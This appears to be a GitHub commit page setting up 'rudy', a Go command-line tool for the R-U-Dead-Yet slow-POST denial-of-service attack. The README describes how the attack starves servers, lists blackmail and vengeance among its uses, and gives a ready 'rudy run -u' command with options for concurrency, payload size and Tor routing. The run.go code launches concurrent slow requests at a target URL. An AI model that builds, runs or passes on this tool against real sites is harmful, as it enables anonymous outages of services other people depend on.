Skip to content

Commit bfc3dbe

Browse files
committed
Setup RUDY
0 parents  commit bfc3dbe

File tree

14 files changed

+587
-0
lines changed

14 files changed

+587
-0
lines changed

.github/workflows/release.yml

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
name: Release the rudy binary
2+
3+
on:
4+
create:
5+
tags: ["v*"]
6+
7+
jobs:
8+
generate-artifacts:
9+
name: Deploy to goreleaser
10+
runs-on: ubuntu-latest
11+
steps:
12+
-
13+
name: Set up Go
14+
uses: actions/setup-go@v2
15+
with:
16+
go-version: 1.18
17+
-
18+
name: Checkout
19+
uses: actions/checkout@v2
20+
with:
21+
fetch-depth: 0
22+
-
23+
name: Run GoReleaser
24+
uses: goreleaser/goreleaser-action@v3
25+
with:
26+
version: latest
27+
args: release --rm-dist
28+
env:
29+
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

.golangci.yml

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
run:
2+
timeout: 30s
3+
issues-exit-code: 1
4+
5+
whitespace:
6+
multi-if: true
7+
multi-func: true
8+
9+
linters:
10+
enable-all: true
11+
disable:
12+
- gochecknoglobals
13+
- golint
14+
- gomnd
15+
- ireturn

.goreleaser.yml

+33
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
before:
2+
hooks:
3+
- go mod download
4+
builds:
5+
- <<: &build_defaults
6+
ldflags:
7+
- -s -w
8+
env:
9+
- CGO_ENABLED=0
10+
goos:
11+
- linux
12+
- darwin
13+
- windows
14+
goarch:
15+
- 386
16+
- amd64
17+
- arm
18+
- arm64
19+
ignore:
20+
- goos: windows
21+
goarch: arm64
22+
archives:
23+
-
24+
replacements:
25+
darwin: Darwin
26+
linux: Linux
27+
windows: Windows
28+
386: i386
29+
amd64: x86_64
30+
format_overrides:
31+
-
32+
goos: windows
33+
format: zip

LICENSE

+21
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
MIT License
2+
3+
Copyright (c) 2022 darkweak
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE.

README.md

+56
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
RUDY (R-U-Dead-Yet?)
2+
====================
3+
4+
## What is the RUDY Attack?
5+
R.U.D.Y., short for R U Dead yet, is an acronym used to describe a Denial of Service (DoS) tool used by hackers to perform slow-rate a.k.a. “Low and slow” attacks by directing long form fields to the targeted server. It is known to have an interactive console, thus making it a user-friendly tool. It opens fewer connections to the website being targeted for a long period and keeps the sessions open as long as it is feasible. The amount of open sessions overtires the server or website making it unavailable for the authentic visitors. The data is sent in small packs at an incredibly slow rate; normally there is a gap of ten seconds between each byte but these intervals are not definite and may vary to avert detection.
6+
7+
The victim servers of these types of attacks may face issues such as not being able to access a particular website, disrupt their connection, drastically slow network performance, etc.
8+
9+
Hackers can use such attacks for different purposes while targeting different servers or hosts; these purposes include, but are not limited to, blackmail, vengeance or sometimes even activism.
10+
11+
The RUDY attack opens concurrent POST HTTP connections to the HTTP server and delays sending the body of the POST request to the point that the server resources are saturated. This attack sends numerous small packets at a very slow rate to keep the connection open and the server busy. This low-and slow attack behavior makes it relatively difficult to detect, compared to flooding DoS attacks that raise the traffic volume abnormally.
12+
13+
## How to install and run rudy?
14+
15+
### Using `go install`
16+
```bash
17+
go install -u github.com/darkweak/rudy/cmd/rudy@latest
18+
rudy [command]
19+
```
20+
21+
### Using directly `go`
22+
```bash
23+
git clone https://github.com/darkweak/rudy
24+
cd rudy
25+
go run rudy.go [command]
26+
```
27+
28+
### Using `go build`
29+
```bash
30+
git clone https://github.com/darkweak/rudy
31+
cd rudy
32+
go build rudy.go -o rudy
33+
rudy [command]
34+
```
35+
36+
## Commands
37+
### Attack a target
38+
```bash
39+
rudy run -u http://domain.com
40+
```
41+
42+
There are some options to change the rudy default behaviour
43+
| Name | Description | Long flag | Short flag | Example value | Default value |
44+
|:--------------------|:-------------------------------------------------------------------------|:-----------------|:-----------|:------------------------|:--------------|
45+
| URL | The target URL to run the attack on. | `--url` | `-u` | `http://domain.com` | |
46+
| Concurrent requests | The number of concurrent requests to send on the target. | `--concurrents` | `-c` | `4` | `1` |
47+
| Filepath | Filepath to the payload to send. By default it's a random payload (1MB). | `--filepath` | `-f` | `/somewhere/file` | |
48+
| Interval | Interval duration between the requests. | `--interval` | `-i` | `3s` | `10s` |
49+
| Size | Random payload size to send. Used if no filepath given. | `--payload-size` | `-s` | `1GB` | `1MB` |
50+
| Tor | Use TOR proxy to send the requests. | `--tor` | `-t` | `socks5://tor_endpoint` | |
51+
52+
### Run the testing server
53+
It will start a serer on the port `:8081`
54+
```bash
55+
rudy server
56+
```

cmd/rudy/main.go

+39
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
package main
2+
3+
import (
4+
"context"
5+
"log"
6+
"os"
7+
"os/signal"
8+
9+
"github.com/darkweak/rudy/commands"
10+
"github.com/spf13/cobra"
11+
)
12+
13+
func trapSignals(ctx context.Context, cancel context.CancelFunc) {
14+
sig := make(chan os.Signal, 1)
15+
signal.Notify(sig, os.Interrupt)
16+
17+
select {
18+
case <-sig:
19+
log.Println("[INFO] SIGINT: Stopping RUDY")
20+
cancel()
21+
case <-ctx.Done():
22+
return
23+
}
24+
}
25+
26+
func main() {
27+
ctx, cancel := context.WithCancel(context.Background())
28+
defer cancel()
29+
30+
go trapSignals(ctx, cancel)
31+
32+
var root cobra.Command
33+
34+
commands.Prepare(&root)
35+
36+
if err := root.Execute(); err != nil {
37+
panic(err)
38+
}
39+
}

commands/list.go

+44
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
package commands
2+
3+
import (
4+
"github.com/spf13/cobra"
5+
"github.com/spf13/pflag"
6+
)
7+
8+
var list = []commandInstanciator{newRun, newServer}
9+
10+
type (
11+
command interface {
12+
Info() string
13+
GetArgs() cobra.PositionalArgs
14+
GetDescription() string
15+
GetLongDescription() string
16+
GetRequiredFlags() []string
17+
Run() RunCmd
18+
SetFlags(*pflag.FlagSet)
19+
}
20+
commandInstanciator func() command
21+
RunCmd func(cmd *cobra.Command, args []string)
22+
)
23+
24+
func Prepare(root *cobra.Command) {
25+
for _, item := range list {
26+
var cobraCmd cobra.Command
27+
28+
instance := item()
29+
30+
cobraCmd.Use = instance.Info()
31+
cobraCmd.Short = instance.GetDescription()
32+
cobraCmd.Long = instance.GetLongDescription()
33+
cobraCmd.Args = instance.GetArgs()
34+
cobraCmd.Run = instance.Run()
35+
36+
instance.SetFlags(cobraCmd.Flags())
37+
38+
for _, f := range instance.GetRequiredFlags() {
39+
_ = cobraCmd.MarkFlagRequired(f)
40+
}
41+
42+
root.AddCommand(&cobraCmd)
43+
}
44+
}

commands/run.go

+98
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
package commands
2+
3+
import (
4+
"sync"
5+
"time"
6+
7+
"github.com/darkweak/rudy/logger"
8+
"github.com/darkweak/rudy/request"
9+
"github.com/dustin/go-humanize"
10+
"github.com/spf13/cobra"
11+
"github.com/spf13/pflag"
12+
)
13+
14+
var (
15+
concurrents int64
16+
filepath string
17+
interval time.Duration
18+
size string
19+
tor string
20+
url string
21+
)
22+
23+
type Run struct{}
24+
25+
// SetFlags set the available flags.
26+
func (*Run) SetFlags(flags *pflag.FlagSet) {
27+
flags.Int64VarP(&concurrents, "concurrents", "c", 1, "Concurrent requests count.")
28+
flags.StringVarP(&filepath, "filepath", "f", "", "Filepath to the payload.")
29+
flags.DurationVarP(&interval, "interval", "i", 10*time.Second, "Interval between packets.")
30+
// Default ~1MB
31+
flags.StringVarP(&size, "payload-size", "p", "1MB", "Random generated payload with the given size.")
32+
flags.StringVarP(&tor, "tor", "t", "", "TOR endpoint (either socks5://1.1.1.1:1234, or 1.1.1.1:1234).")
33+
flags.StringVarP(&url, "url", "u", "", "Target URL to send the attack to.")
34+
}
35+
36+
// GetRequiredFlags returns the server required flags.
37+
func (*Run) GetRequiredFlags() []string {
38+
return []string{"url"}
39+
}
40+
41+
// GetArgs return the args.
42+
func (*Run) GetArgs() cobra.PositionalArgs {
43+
return nil
44+
}
45+
46+
// GetDescription returns the command description.
47+
func (*Run) GetDescription() string {
48+
return "Run the rudy attack"
49+
}
50+
51+
// GetLongDescription returns the command long description.
52+
func (*Run) GetLongDescription() string {
53+
return "Run the rudy attack on the target"
54+
}
55+
56+
// Info returns the command name.
57+
func (*Run) Info() string {
58+
return "run -u http://domain.com"
59+
}
60+
61+
// Run executes the script associated to the command.
62+
func (*Run) Run() RunCmd {
63+
return func(_ *cobra.Command, _ []string) {
64+
var waitgroup sync.WaitGroup
65+
isize, e := humanize.ParseBytes(size)
66+
if e != nil {
67+
panic(e)
68+
}
69+
70+
waitgroup.Add(int(concurrents))
71+
72+
for i := 0; i < int(concurrents); i++ {
73+
go func() {
74+
req := request.NewRequest(int64(isize), url, interval)
75+
if tor != "" {
76+
req.WithTor(tor)
77+
}
78+
79+
if req.Send() == nil {
80+
logger.Logger.Sugar().Infof("Request successfully sent to %s", url)
81+
}
82+
83+
waitgroup.Done()
84+
}()
85+
}
86+
87+
waitgroup.Wait()
88+
}
89+
}
90+
91+
func newRun() command {
92+
return &Run{}
93+
}
94+
95+
var (
96+
_ command = (*Run)(nil)
97+
_ commandInstanciator = newRun
98+
)

0 commit comments

Comments
 (0)